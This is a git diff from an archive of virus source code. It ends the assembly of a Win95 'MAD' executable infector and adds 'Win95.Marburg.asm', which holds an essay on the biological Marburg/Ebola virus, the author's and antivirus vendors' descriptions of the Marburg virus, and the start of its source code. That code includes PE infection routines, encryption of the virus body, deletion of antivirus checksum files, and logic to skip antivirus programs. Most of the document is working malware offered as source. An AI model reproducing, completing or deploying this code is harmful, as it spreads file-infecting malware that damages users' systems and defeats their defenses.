+ mov edx, offset ExeMask + add edx, ebp + push edx + call eax + mov ss:SearchHandle[ebp], eax + cmp eax, 0FFFFFFFFh + jz change_dir ;error, then go down a dir + +infect_next: + mov eax, dword ptr ss:FileName[ebp] + xor ss:Seed[ebp], eax + cmp eax, 186A0h + jnb error_close + cmp ss:Security[ebp], 0 ;maybe a safeguard flag? + jnz error_close ;win95 never set this, so + lea eax, _CreateFile[ebp] ;probably is a safeguard + call get_api_addr ;to no infect own hdd + jb no_payload + push 0 + push ss:FINDATA[ebp] + push 3 + push 0 + push 0 + push 0C0000000h + mov edx, offset FileName2 + add edx, ebp + push edx + call eax + cmp eax, 0FFFFFFFFh + jz find_next + mov ss:FileHandle[ebp], eax + mov edi, 3Ch + call file_seek + mov edi, offset PEPointer + add edi, ebp + mov ecx, 4 + call read_file + jb error_close + mov edi, ss:PEPointer[ebp] + call file_seek + mov edi, offset PEHeader + add edi, ebp + mov ecx, 8D0h + call read_file + cmp ss:PEHeader[ebp], 4550h + jnz error_close + cmp ss:InfectionMark[ebp], 'WDAM' ;MADW - Mad for Win95 + jz error_close + xor esi, esi + xor eax, eax + mov ax, ss:NumberSections[ebp] + dec ax + mov ecx, 28h + xor edx, edx + mul ecx + mov si, ax + mov eax, 0BB8h + mov ecx, ss:FileAlign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + add ss:szRVA[ebp+esi], eax ;virtual size of section + mov eax, 7D0h + mov ecx, ss:ObjAlign[ebp] + xor edx, edx + div ecx + inc eax + mul ecx + mov edx, ss:pRAW[ebp+esi] ;pointer to raw data + mov ecx, edx + add edx, ss:szRAW[ebp+esi] ;size of raw data + push edx + add ss:pRAW[ebp+esi], eax ;pointer to raw data + or ss:ObjAttr[ebp+esi], 0C0000040h ;object attributes + add ecx, ss:RVA[ebp+esi] ;RVA of section + mov edx, ss:EntryRVA[ebp] + mov ss:EntryRVA[ebp], ecx + sub ecx, edx + add ecx, 5 + mov dword ptr ss:old_RVA+1[ebp], ecx + mov ss:InfectionMark[ebp], 'WDAM' ;set the mark + mov edi, ss:PEPointer[ebp] + call file_seek + mov edi, offset PEHeader + add edi, ebp + mov ecx, 8D0h + call write_file ;write the modificated + pop edi ;header info + add ss:Seed[ebp], edi + call file_seek + mov eax, ss:Seed[ebp] + neg eax + mov ss:Key[ebp], al + mov esi, offset start + add esi, ebp + mov edi, offset EncriptedBody + add edi, ebp + mov ecx, 0AB0h + cld + repe movsb ;zopy virus to work area + mov edi, offset EncriptedBody + add edi, ebp + add edi, 45h + mov ecx, 0A6Bh + mov al, ss:Key[ebp] + +enc_loop: + xor [edi], al ;encript it + inc edi + loop enc_loop + mov edi, offset EncriptedBody + add edi, ebp + mov ecx, 0AB0h + call write_file ;attach virus + +error_close: + not ss:Seed[ebp] + lea eax, _CloseFile[ebp] + call get_api_addr + jb short _check_payload + push ss:FileHandle[ebp] + call eax + +find_next: + lea eax, _FNFile[ebp] + call get_api_addr + jb short _check_payload + lea edx, FINDATA[ebp] + push edx + push ss:SearchHandle[ebp] + call eax + cmp eax, 0 + jnz infect_next + +change_dir: + cmp ss:TotalInf[ebp], 3 ;only stop after 3 directorys + jz short _check_payload ;infected + lea eax, _SetDir[ebp] + call get_api_addr + jb short _check_payload + lea edx, DotDot[ebp] ;go down a directory + push edx + call eax + inc ss:TotalInf[ebp] + cmp eax, 1 + jz find_filez + +_check_payload: + jmp short check_payload + +read_file: + push edi + push ecx + lea eax, _ReadFile[ebp] + call get_api_addr + pop ecx + pop edi + cmp eax, 0 + jnz short rf_addr_ok + stc + retn +rf_addr_ok: + push 0 + lea ebx, NumRead[ebp] + push ebx + push ecx + push edi + push ss:FileHandle[ebp] + call eax + retn + +write_file: + push edi + push ecx + lea eax, _WriteFile[ebp] + call get_api_addr + pop ecx + pop edi + cmp eax, 0 + jnz short wf_addr_ok + stc + retn +wf_addr_ok: + push 0 + lea ebx, NumRead[ebp] + push ebx + push ecx + push edi + push ss:FileHandle[ebp] + call eax + retn + +file_seek: + lea eax, _FileSeek[ebp] + call get_api_addr + push 0 + push 0 + push edi + push ss:FileHandle[ebp] + call eax + retn + +check_payload: + lea eax, _GetTime[ebp] + call get_api_addr + jb short no_payload + lea edx, SYSTIME[ebp] + push edx + call eax + cmp ss:cDay[ebp], 1 + jnz short no_payload + lea eax, _User32[ebp] + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax ;get handle for USER32.DLL + mov ss:KernelHandle[ebp], eax + cmp eax, 0 + jz short no_payload + lea eax, _MsgBox[ebp] + call get_api_addr + jb short no_payload + push 1030h + mov edx, offset MsgTitle + add edx, ebp + push edx + mov edx, offset MsgText + add edx, ebp + push edx + push 0 + call eax ;pop a MessageBox with virus + lea eax, _Kernel32[ebp] ;credits + push eax + mov eax, ss:pGetModuleHdle[ebp] + call eax + mov ss:KernelHandle[ebp], eax + +no_payload: + lea eax, _SetDir[ebp] + call get_api_addr + jb short return_host + lea edx, CurrentDir[ebp] + push edx + call eax + +return_host: + mov edi, ebp + mov ebp, ds:SaveEBP[edi] + jmp ds:HostEntry[edi] + +extract_addr: + pusha + mov ecx, [esi] + add esi, 4 + repe cmpsb ;is api we want? + popa + jnz short no_func + xchg eax, esi + mov eax, [ebx+1Ch] + add eax, ss:pAPIRVA[ebp] + add eax, ss:KernelBase[ebp] + add eax, ecx + mov eax, [eax] + add eax, ss:KernelBase[ebp] + mov [esi], eax ;set adress +no_func: + retn + +get_api_addr: + push eax + mov eax, ss:KernelHandle[ebp] + push eax + call ss:pGetProcAddress[ebp] + cmp eax, 0 + jnz short proc_found + stc ;set carry on error +proc_found: + retn + +KernelBase dd 0 +pAPIRVA dd 0 + +pGetProcAddress dd 0 +szGetProcAddres dd 0Fh ;size of string to search + db 'GetProcAddress',0 + +pGetModuleHdle dd 0 +szGetModuleHdle dd 11h ;size of string to search + db 'GetModuleHandleA',0 + +_Kernel32 db 'KERNEL32',0 +_User32 db 'USER32',0 + +_MsgBox db 'MessageBoxA',0 ;this one we get from user32 + +_FFile db 'FindFirstFileA',0 ;and all these otherz from +_CreateFile db 'CreateFileA',0 ;kernel32 +_CloseFile db 'CloseHandle',0 +_ReadFile db 'ReadFile',0 +_WriteFile db 'WriteFile',0 +_FileSeek db 'SetFilePointer',0 +_FNFile db 'FindNextFileA',0 +_GetTime db 'GetLocalTime',0 +_SetDir db 'SetCurrentDirectoryA',0 +_GetDir db 'GetCurrentDirectoryA',0 + +KernelHandle dd 0 ;also used for USER32.DLL + ;when using payload + +MsgTitle db 'Multiplatform Advanced Destroyer',0 +MsgText db 'Hello user your computer is infected by MAD virus',0Dh + db 'Welcome to my first virus for Windoze95...',0Dh + db 'Distribution & Copyright by Black Angel 1997',0 + ;uhh... a confession... ;-) + +ExeMask db '*.eXe',0 + + db '[MAD for Win95] version 1.0 BETA! (c)Black Angel`97',0 + +DotDot db '..',0 ;for directory changing + +SearchHandle dd 0 +FileHandle dd 0 +NumRead dd 0 +Seed dd 0 + +SYSTIME equ this byte +cYear dw 0 +cMonth dw 0 +cDWeek dw 0 +cDay dw 0 +cHour dw 0 +cMin dw 0 +cSec dw 0 +cMlSec dw 0 + +FINDATA dd 0 ;File Attribute + dd 0 ;Creation Date + dd 0 ;Last Acess Date + dd 0 ;Last Write Date + dd 0 ;File Size h + dd 0 ;File Size l + dd 0 ;Reserved +Security dd 0 +FileName db 0Ch dup(0) +FileName2 db 200h dup(0) + +PEPointer dd 0 +TotalInf db 0 +CurrentDir db 100h dup(0) + +PEHeader dd 0 ;from here to end, are all + dw 0 ;bufferz that w95.mad.2736 +NumberSections dw 0 ;use for read, encription + db 20h dup(0) ;and like... +EntryRVA dd 0 + db 0Ch dup(0) +FileAlign dd 0 +ObjAlign dd 0 + db 18h dup(0) +InfectionMark dd 0 +EncriptedBody db 0A4h dup(0) +szRVA dd 0 +RVA dd 0 +pRAW dd 0 +szRAW dd 0 + dd 0 + dd 0 + dd 0 +ObjAttr dd 0 + db 608Ch dup(0) + +end start + + + + + diff --git a/LegacyWindows/Win95.Marburg.asm b/LegacyWindows/Win95.Marburg.asm new file mode 100644 index 00000000..cd31d06a --- /dev/null +++ b/LegacyWindows/Win95.Marburg.asm @@ -0,0 +1,3984 @@ + + Marburg virus - BioCoded by GriYo / 29A + --------------------------------------- + + + + + Index: + ------ + + 1 - About the biological version + 2 - Author's description + 3 - Description from Datafellows + 4 - Description from AVP + 5 - Description from DrSolomon + 6 - Marburg source code + + + + + 1 - About the biological version + -------------------------------- + + 1967: Marburg/Frankfurt, Germany. + + Laboratory workers preparing primary cell cultures from African +green monkeys resulted in an outbreak of a previously unrecognised disease. +Highly infectious: 31 cases, 7 deaths. + + 1976: + + Outbreak of a previously unrecognised haemorrhagic fever in Zaire +and Sudan 'Ebola disease': 500 diagnosed cases, 460 deaths. + + Ebola virus, a member of the Filoviridae, burst from obscurity with +spectacular outbreaks of severe, haemorrhagic fever. It was first +associated with an outbreak of 318 cases and a case-fatality rate of 90% +in Zaire and caused 150 deaths among 250 cases in Sudan. Smaller outbreaks +continue to appear periodically, particularly in East, Central and southern +Africa. In 1989, a haemorrhagic disease was recognized among cynomolgus +macaques imported into the United States from the Philippines. Strains of +Ebola virus were isolated from these monkeys. Serologic studies in the +Philippines and elsewhere in Southeast Asia indicated that Ebola virus is a +prevalent cause of infection among macaques. + +These threadlike polymorphic viruses are highly variable in length +apparently owing to concatemerization. However, the average length of an +infectious virion appears to be 920 nm. The virions are 80 nm in diameter +with a helical nucleocapsid, a membrane made of 10 nm projections, and +host cell membrane. They contain a unique single-stranded molecule of +noninfectious (negative sense) RNA. The virus is composed of 7 +polypeptides, a nucleoprotein, a glycoprotein, a polymerase and 4 other +undesignated proteins. Proteins are produced from polyadenylated +monocistronic mRNA species transcribed from virus RNA. The replication in +and destruction of the host cell is rapid and produces a large number of +viruses budding from the cell membrane. + +Epidemics have resulted from person to person transmission, nosocomial +spread or laboratory infections. The mode of primary infection and the +natural ecology of these viruses are unknown. Association with bats has +been implicated directly in at least 2 episodes when individuals entered +the same bat-filled cave in Eastern Kenya. Ebola infections in Sudan in +1976 and 1979 occurred in workers of a cotton factory containing thousands +of bats in the roof. However, in all instances, study of antibody in bats +failed to detect evidence of infection, and no virus was isolated from bat +tissue. + +The index case in 1976 was never identified, but this large outbreak +resulted in 280 deaths of 318 infections. The outbreak was primarily the +result of person to person spread and transmission by contaminated needles +in outpatient and inpatient departments of a hospital and subsequent +person to person spread in surrounding villages. In serosurveys in Zaire, +antibody prevalence to Ebola virus has been 3 to 7%. The incubation period +for needle-transmitted Ebola virus is 5 to 7 days and that for person to +person transmitted disease is 6 to 12 days. + +The virus spreads through the blood and is replicated in many organs. +The histopathologic change is focal necrosis in these organs, including +the liver, lymphatic organs, kidneys, ovaries and testes. The central +lesions appear to be those affecting the vascular endothelium and +the platelets. The resulting manifestations are bleeding, especially in +the mucosa, abdomen, pericardium and vagina. Capillary leakage appears to +lead to loss of intravascular volume, bleeding, shock and the acute +respiratory disorder seen in fatal cases. Patients die of intractable shock. +Those with severe illness often have sustained high fevers and are +delirious, combative and difficult to control. + +The serologic method used in the discovery of Ebola was the direct +immunofluorescent assay. The test is performed on a monolayer of infected +and uninfected cells fixed on a microscopic slide. IgG- or IgM-specific +immunoglobulin assays are performed. These tests may then be confirmed +by using western blot or radioimmunoprecipitation. Virus isolation is also +a highly useful diagnostic method, and is performed on suitably preserved +serum, blood or tissue specimens stored at -70oC or freshly collected. + +No specific antiviral therapy presently exists against Ebola virus, nor does +interferon have any effect. Past recommendations for isolation of the +patient in a plastic isolator have given way to the more moderate +recommendation of strict barrier isolation with body fluid precautions. +This presents no excess risk to the hospital personnel and allows +substantially better patient care, as shown in Table 2. The major factor in +nosocomial transmission is the combination of the unawareness of the +possibility of the disease by a worker who is also inattentive to the +requirements of effective barrier nursing. after diagnosis, the risk of +nosocomial transmission is small. + +The basic method of prevention and control is the interruption of person to +person spread of the virus. However, in rural areas, this may be difficult +because families are often reluctant to admit members to the hospital +because of limited resources and the culturally unacceptable separation +of sick or dying patients from the care of their family. Experience +with human disease and primate infection suggests that a vaccine inducing a +strong cell-mediated response will be necessary for virus clearance and +adequate protection. Neutralizing antibodies are not observed in +convalescent patients nor do they occur in primates inoculated with killed +vaccine. A vaccine expressing the glycoprotein in vaccinia is being +prepared for laboratory evaluation. + + Emerging & Re-emerging Viruses: An Essay + Alison Jacobson + Department of Microbiology + University of Cape Town + + + + + 2 - Author's description + ------------------------ + + Marburg is a direct action Win32 executable files infector. Lets +look at its features in more detail... + + 2.1. Infection + + When an infected file is run the virus will look for *.EXE and *.SCR +files in current directory, as well as WINDOWS and WINDOWS system +directories. Marburg use size padding to mark infected files. Depending on +the internal format of each file the virus sometimes infects them without +modifying the entry-point field in the file header. In some files Marburg +overwrites the code at its host entry-point with a block or polymorphic +code. This code is used to hide the branch to viral code. Marburg infects +files by mapping them in memory. This allows the virus to speed up its +infection procedures. + + 2.2. Polymorphism + + The virus is encrypted under a polymorphic decryptor. The +polymorphic engine uses slow mutation technics and can generate lots of +different looking code. + + 2.3. Retro + + Some intergrity checksum files deleted on infection. + + 2.4. Error-handling + + The virus startup and infection routines uses estructured exception +handling to prevent the virus from causing FAULTS at any time. This makes +Marburg a very stable virus. + + 2.5. Payload + + A nice graphic payload inside... I think this is a must for viruses +that works under GUI. + + + + + 3 - Description from Datafellows + -------------------------------- + + NAME: Marburg + TYPE: Non-resident EXE -files + + The Win95/Marburg virus got widespread circulation in August 1998, +when it was included on the master CD of the popular MGM/EA PC CD-ROM game +"Wargames". The CD contains one file infected by the Marburg virus: + + \EREG\EREG32.EXE + + MGM - the publisher of the game - made an announcment on this on +12th of August, 1998: + + + -------- + From: "K.Egan (MGM)" kegan@mgm.com + Subject: MGM WarGames Statement + Date: Wed, 12 Aug 1998 18:03:39 -0700 + + MGM Interactive recently learned that its WarGames PC game shipped + with the Win32/Marburg.a virus contained in the electronic + registration program. The company is working as fast as it can to + resolve the problem. + ... + MGM Interactive is committed to delivering top quality products to + consumers. This is an unfortunate circumstance and we sincerely + apologize for any convenience this has caused you. + ... + If you have any questions or if you would like to receive a + replacement disc, please contact MGM Interactive. + -------- + + +The same virus also got widespread circulation in August 1998, when it was +included on the cover CD of the Australian "PC Power Play" magazine. This CD +contains these files infected by the Marburg virus: + + \GAMES\MAX2\MAX2BETA.EXE + \GAMES\STARTREK\FURYDEMO.EXE + +In July 1998, the Win95/Marburg virus got yet again widespread circulation +when it was included by accident on the cover CD of the UK-based PC Gamer +Magazine's July 1998 edition. The infected files are on "CD Gamer 2" +included with the magazine, and are called: + + \UTILS\XEARTH\XEARTH.EXE + \UTILS\QPAINT\QPAINT.EXE + \VIDEO\SMACKPLW.EXE + +The SMACKPLW program is automatically executed if you watch any of the +preview videos from the CD. There are localized versions of the PC Gamer +magazine in circulation in addition to the UK edition. + +The Swedish edition has these files infected instead of the ones listed +above: + + \SHARE\3DJONG\M3DJONGG.EXE + \PATCHAR\QUAKE2\Q2-315~8.EXE + \SPEL\KKND2\DIRECTX\DDHELP.EXE + +The Slovenian edition has the same infected files as the UK edition. The +Italian July/August edition is clean. + +Marburg is a polymorphic Windows 95/98 virus which contains this text: + + [ Marburg ViRuS BioCoded by GriYo/29A ] + +Marburg infects Win32 EXE and SCR (screen saver) files, encrypting its own +code with variable polymorphic encryption layer. The polymorphic engine of +the virus is advanced. It encrypts the virus with 8, 16 and 32 bit key with +several different methods. The virus uses slow polymorphisism, which means +that it changes the decryptor of itself very slowly. + +Marburg deletes integrity databases of several anti-virus products. It also +avoids infecting many known anti-virus product executable files, including +any executable which has the letter "V" in its name. This is done to avoid +triggering the self-check of these programs. + +Marburg activates three months after initial infection. If an infected +application is executed exactly on the same hour as the inital infection, +the virus displays the standard Windows error icon (red cross in white +circle) in random positions all over the screen. + + + + + 4 - Description from AVP + ------------------------ + + This is a direct action (nonmemory resident) Windows95 polymorphic +virus. It affects PE EXE (Portable Executable) files which it searches in +current, Windows and System directories. Because of bugs the virus is not +able to replicate under Windows NT, so it is Windows95 specific virus. + +When an infected file is executed, the virus searches for KERNEL32 routines: +first for GetModuleHandleA and GetProcAddress, then for 22 more functions +(see the list below). While searching the virus uses method similar to +"Win32.Cabanas" virus: while infecting a file the virus scans file's +imported table for GetModuleHandleA and GetProcAddress, and saves these +addresses in virus code. If there are no these entries in table, the virus +scans KERNEL32 code. + +If the virus is not able to locate KERNEL32 functions, it immediately +returns to the host file. Otherwise it allocates a block of system memory, +copies its code to there (that's necessary to run virus polymorphic engine), +then searches for files and infects them. + +While infecting a file the virus writes its code to the end of file into the +last section, increasing its length beforehand. Before saving its code to +the file the virus encrypts it by polymorphic routine (the polymorphic +engine is very similar with one that was found in "Win95.HPS" virus). +Depending on file structure the virus also does some tricks to make virus +detection and disinfection procedures more complex: either replaces entry +point address in the PE header with its own one (majority of Win32 viruses +infect files in this way), or saves JMP_Virus instruction to the file entry +address and does not modifies it in the PE header (in same way as +"Win32.Cabanas" virus does), or writes to the entry point a polymorphic +junk routine that is followed by JMP_Virus instruction. + +Before infecting the virus deletes anti-virus data files: ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ. While infecting the virus checks file names +and does not infect files that have 'V' letter in name as well as +anti-viruses PANDA, F-PROT, SCAN. + +Depending on the system date (when infected file is executed in three month +during the same hour as being infected) the virus displays at random +selected positions on the screen the standard Windows error icon - red cross +in white circle. + +The virus contains the text strings (the first block contains the list of +functions that virus is looking for): + + GetModuleHandleA + GetProcAddress + CreateFileA + CreateFileMappingA + MapViewOfFile + UnmapViewOfFile + CloseHandle + FindFirstFileA + FindNextFileA + FindClose + VirtualAlloc + GetWindowsDirectoryA + GetSystemDirectoryA + GetCurrentDirectoryA + SetFileAttributesA + SetFileTime + DeleteFileA + GetCurrentProcess + WriteProcessMemory + LoadLibraryA + GetSystemTime + GetDC + LoadIconA + DrawIcon + + [ Marburg ViRuS BioCoded by GriYo/29A ] + KERNEL32.dll USER32.dll + + + + + 5 - Description from DrSolomon + ------------------------------ + + Win32/Marburg + Polymorphic virus + Infects: Windows-95 executable files + (PE files - "Portable Executable") + + This highly polymorphic virus infects Windows-95 executable files +(PE files - "Portable Executable"). When the infected file is run it +searches for executable files to infect in the current directory, the +Windows directory and the System directory. The virus does not go +memory-resident - instead it is a direct action virus. The infected files +always grow in size. + +The sizes of infected files are changed by the the virus to be divisible by +101 (decimal). It does this to avoid infecting the same file twice. + +If the virus comes across integrity-checking databases (ANTI-VIR.DAT, +CHKLIST.MS, AVP.CRC, IVB.NTZ) in the above mentioned subdirectories it +deletes them. This is an attempt to avoid detection by certain anti-virus +products. + +The virus does not infect any files having letter "V" in the name, +"PAND*.*" , "F-PR*.*" , "SCAN*.*" (this is to avoid infecting certain +anti-virus programs). + +The payload of the virus triggers at a random date and displays an error +icon (a red cross on white circle) on the screen. + +Marburg has been seen in the wild, and was accidentally distributed on the +cover CD ROM of UK magazine PC Gamer in July 1998. The virus was written by +Griyo of the Spanish virus-writing gang 29A. + + + + + + 6 - Marburg source code + ----------------------- + + After some time lost into Win32 internals im happy to present my +first attempt at this plattaform. This is a Win95 highly polymorphic direct- +action PE infector. + +Greetings to all the people at IRC-Hispano #virus and #hack irc channels. +Special greetings goes this time to Jacky Qwerty, this virus wouldnt be +posible without his support. + +-------->8 cut here --------------------------------------------------------- + +;············································································ +; +; Marburg ViRuS - BioCoded by GriYo / 29A +; +;············································································ + + .386P + locals + jumps + .model flat,STDCALL + + ;Include the following files + + include Win32api.inc + include Useful.inc + include Mz.inc + include Pe.inc + + ;Some externals only used on 1st generation + + extrn GetModuleHandleA:NEAR + extrn GetProcAddress:NEAR + extrn ExitProcess:NEAR + + ;Some assumptions only valid for 1st generation + +mem_size equ mem_end-Mem_Base ;Size of virus in memory +inf_size equ inf_end-Mem_Base ;Size of virus in files +init_size equ init_end-Mem_Base ;Size of init code +base_default equ 00400000h ;Default base address + + ;Current in-build settings + +SIZE_PADDING equ 00000065h +DECRYPTOR_SIZE equ 00000800h +BUFFER_EP equ 00000100h + +;············································································ +;Fake host used for virus 1st generation +;············································································ + +_TEXT segment dword use32 public 'CODE' + +host_entry: ;This code will find the base address of KERNEL32.DLL and + ;the entry point for GetProcAddress and GetModuleHandle + ;functions + ;This part will not be included on future infections + ;coz its only needed for virus 1st generation + + ;Get KERNEL32 module handle + + push offset szKernel32 + call GetModuleHandleA + or eax,eax + jz exit1st_gen + mov dword ptr [a_Kernel32],eax + + ;Get address of GetModuleHandle function + + push offset szGetModuleH + push eax + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetModuleH],eax + + ;Get address of GetProcAddress function + + push offset szGetProcAddr + push dword ptr [a_Kernel32] + call GetProcAddress + or eax,eax + jz exit1st_gen + mov dword ptr [a_GetProcAddr],eax + + ;Execute virus + + mov ebx,base_default + xor ebp,ebp + call entry1st_gen + +exit1st_gen: ;Terminate virus launch process + + xor eax,eax + push eax + call ExitProcess + +_TEXT ends + +;············································································ + +_DATA segment dword use32 public 'DATA' +_DATA ends + +;············································································ + +_BSS segment dword use32 public 'BSS' +_BSS ends + +;············································································ +;Virus main body +;············································································ + +virseg segment dword use32 public 'Marburg' + +Mem_Base equ this byte + +virus_entry: ;Get delta offset and host base address + + call get_delta + +init_end equ this byte + +get_delta: pop ebp + mov ebx,ebp + sub ebp,offset get_delta + + ;Get host base address + ;Generate a SUB ebx,fix_baseaddr instruction + + db 81h,0EBh +fix_baseaddr dd 00000000h + + ;Prepare return address + + mov eax,ebx + + ;Generate ADD eax,rva_org_eip + + db 05h +rva_org_eip dd 00000000h + + ;Save host entry-point into stack, we will jump there + ;later using a RET + + push eax + +entry1st_gen: ;End of virus initialization, at this point: + ; + ; ss:[esp] - Host entry-point + ; ebx - Base address + ; ebp - Delta offset + ; + + ;Check if we know the GetModuleHandle entry point + ;If we dont know it try to get KERNEL32 base + ;address using our own code + + db 0B8h +rva_GetModuleH dd offset a_GetModuleH-base_default + or eax,eax + jz use_our_own_1 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop dword ptr [ebp+a_GetModuleH] + + ;Now we know the address of GetModuleHandle, + ;so use it in order to get KERNEL32.dll + ;base address + ;If the function fails try to get KERNEL32 base + ;address using our own function + + lea eax,dword ptr [ebp+szKernel32] + push eax + + call dword ptr [ebp+a_GetModuleH] + or eax,eax + jnz got_kernel + +use_our_own_1: ;No, grrr, try to get it by ourself + + call my_getkernel + or eax,eax + jz err_virus_init + +got_kernel: ;Save KERNEL32 base address for l8r use + + mov dword ptr [ebp+a_Kernel32],eax + + ;Now check if we know the GetProcAddress entry point + + db 0B8h +rva_GetProcAddr dd offset a_GetProcAddr-base_default + or eax,eax + jz use_our_own_2 + + ;Yes, eax is the rva for the function address + + push dword ptr [eax+ebx] + pop eax + jmp short got_getprocaddr + +use_our_own_2: ;Use our own routine to get GetProcAddress entry point + + call my_GetProcAddr + +got_getprocaddr:;Save GetProcAddress entry point for l8r use + + mov dword ptr [ebp+a_GetProcAddr],eax + + ;Use GetProcAddress to get the rest of function addresses + + call get_functions + jecxz err_virus_init + + ;Allocate some memory for the virus + + push PAGE_EXECUTE_READWRITE + push MEM_RESERVE or MEM_COMMIT + push mem_size+inf_size + push 00000000h + call dword ptr [ebp+a_VirtualAlloc] + + ;Exit if cant find free memory... mmm... + + or eax,eax + jz err_virus_init + + ;Copy virus to allocated memory + + lea esi,dword ptr [ebp+Mem_Base] + mov edi,eax + mov ecx,mem_size + cld + rep movsb + + ;Jump to virus code into allocated memory + + add eax,mem_entry-Mem_Base + jmp eax + +;············································································ +;Entry point for resident code +;············································································ + +mem_entry: ;From this point we no longer care about host + ;base address + + call mem_delta +mem_delta: pop ebp + sub ebp,offset mem_delta + + ;Get current system time + + lea eax,dword ptr [ebp+my_system_time] + push eax + call dword ptr [ebp+a_GetSysTime] + + ;It's time to call our payload routine???? + + mov ax,word ptr [ebp+inf_month] + add ax,0003h + mov dx,000Ch + cmp ax,dx + jbe check_month + sub ax,dx +check_month: cmp ax,word ptr [ebp+time_month] + jne viral_sleep + mov ax,word ptr [ebp+inf_day] + cmp ax,word ptr [ebp+time_day] + jne viral_sleep + call payload + +viral_sleep: ;Do direct action stuff + ;The virus will infect files on \WINDOWS, \SYSTEM and + ;current directory + + ;Try to infect files in current directory + + lea eax,dword ptr [ebp+szWorkDir] + push eax + push MAX_PATH + call dword ptr [ebp+a_GetCurDir] + or eax,eax + jz try_windir + + call do_in_dir + +try_windir: ;Get windows directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetWindowsDir] + or eax,eax + jz try_sysdir + + ;Try to infect files in \WINDOWS directory + + call do_in_dir + +try_sysdir: ;Get system directory + + push MAX_PATH + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_GetSystemDir] + or eax,eax + jz err_virus_init + + ;Try to infect files in \SYSTEM directory + + call do_in_dir + +err_virus_init: ;We have to restore code at host entry-point? + + xor eax,eax + cmp dword ptr [ebp+insert_size],eax + je back2host + + ;Get current process + + call dword ptr [ebp+a_GetCurProc] + + ;Restore host entry-point code + ;Use WriteProcessMemory in order to prevent exceptions + ;while writing to protected areas + + pop edx + push edx + xor ecx,ecx + push ecx + push dword ptr [ebp+insert_size] + lea ecx,dword ptr [ebp+entry_code] + push ecx + push edx + push eax + call dword ptr [ebp+a_WriteProcMem] + +back2host: ;Back to host + + ret + +;············································································ +;Infect *.EXE and *.SCR files in specified path +;············································································ + +do_in_dir: ;The virus will not infect files in the root directory + ;directory + ; + ;Entry: + ; + ;eax - path string size + ; + ;Exit: + ; + ;None + ; + + ;Trying to infect files in root directory? + + cmp eax,00000004h + jb file_not_found + + ;Delete some AV checksum databases + + mov edx,eax + mov ecx,(end_AV_files-tbl_AV_files)/04h + lea esi,dword ptr [ebp+tbl_AV_files] +loop_del_AV: lodsd + push esi + add eax,ebp + mov esi,eax + call delete_file + pop esi + loop loop_del_AV + + ;Insert *.* into path + + lea esi,dword ptr [ebp+szSearch] + call copy_szMask + + ;FindFirstFile + + lea eax,dword ptr [ebp+my_FindData] + push eax + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_FindFirst] + cmp eax,INVALID_HANDLE_VALUE + je file_not_found + + ;Save the search handle + + mov dword ptr [ebp+Search_h],eax + +try_this_file: ;Check file size + + xor eax,eax + cmp dword ptr [ebp+my_FindData.WFD_nFileSizeHigh],eax + jne cant_open + mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow] + cmp eax,0FFFFFFFFh-(inf_size+SIZE_PADDING) + jae cant_open + + ;Check if file is already infected + + mov ecx,SIZE_PADDING + xor edx,edx + div ecx + or edx,edx + jz cant_open + + ;Add filename to path + + cld + lea esi,dword ptr [ebp+szWorkDir] + mov edx,esi +do_path_1: lodsb + cmp al,"\" + jne avoid_path + mov edx,esi +avoid_path: or al,al + jne do_path_1 + lea esi,dword ptr [ebp+my_FindData.WFD_szFileName] + mov edi,edx +do_path_2: lodsb + cmp al,"a" + jb char_is_ok + sub al,("a"-"A") +char_is_ok: cmp al,"V" + je cant_open + stosb + or al,al + jnz do_path_2 + + ;The virus does not infect files with V character in their + ;names as well as the following programs: + + mov eax,dword ptr [edx] + + ;Panda antivirus + + cmp eax,"DNAP" + je cant_open + + ;Datafellows F-Prot + + cmp eax,"RP-F" + je cant_open + + ;McAfee Scan + + cmp eax,"NACS" + je cant_open + + ;Check file extension, allow *.EXE and *.SRC files + + mov eax,dword ptr [edi-00000005h] + cmp eax,"EXE." + je target_file + cmp eax,"RCS." + jne cant_open + +target_file: ;Open and map file + + call open_map_file + or eax,eax + jz cant_open + + ;Check if we can infect this file + + call check_victim + jecxz bad_host + +atach_2host: ;Infect file + + call infect_file + jnc search_end + jmp short cant_open + +bad_host: ;File cant be infected, skip it + + call unmap_close + +cant_open: ;Find next file + + lea eax,dword ptr [ebp+my_FindData] + push eax + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindNext] + cmp eax,FALSE + jne try_this_file + +search_end: ;Close Win32 find handle + + push dword ptr [ebp+Search_h] + call dword ptr [ebp+a_FindClose] + +file_not_found: ret + +;············································································ +;Copy search mask into work path +;············································································ + +copy_szMask: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - Search mask + ; + ;Exit: + ; + ;None + ; + + cld + lea edi,dword ptr [ebp+edx+szWorkDir] + mov al,"\" + stosb +loop_copy_name: lodsb + stosb + or al,al + jnz loop_copy_name + ret + +;············································································ +;Delete file in work path +;············································································ + +delete_file: ;Entry: + ; + ;edx - Filename offset in path string + ;esi - File to delete + ; + ;Exit: + ; + ;None + ; + + ;Add filename to path + + push ecx + push edx + call copy_szMask + + ;Reset attributes so we can delete write protected files + + push FILE_ATTRIBUTE_NORMAL + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_SetFileAttr] + + ;Delete file + + lea eax,dword ptr [ebp+szWorkDir] + push eax + call dword ptr [ebp+a_DeleteFile] + + pop edx + pop ecx + ret + +;············································································ +;Check if a given file can be infected +;············································································ + +check_victim: ;The host must be PE, fit allowed size and import at least + ;one function from Kernel32 + ; + ;Entry: + ; + ;a_Kernel32 - Base address for kernel32 + ;eax - Base address for memory mapped file + ; + ;Exit: + ; + ;ecx - Null if error + ;eax - Preserved + ; + + ;Save host base address + + push ebp + push eax + + ;Set structured exception handler + + call SEH_SetFrame01 + mov esp,dword ptr [esp+00000008h] +err_checkfile: xor ecx,ecx + jmp SEH_error01 +SEH_SetFrame01: xor edx,edx + push dword ptr fs:[edx] + mov dword ptr fs:[edx],esp + + ;Search for Kernel32 Import Module 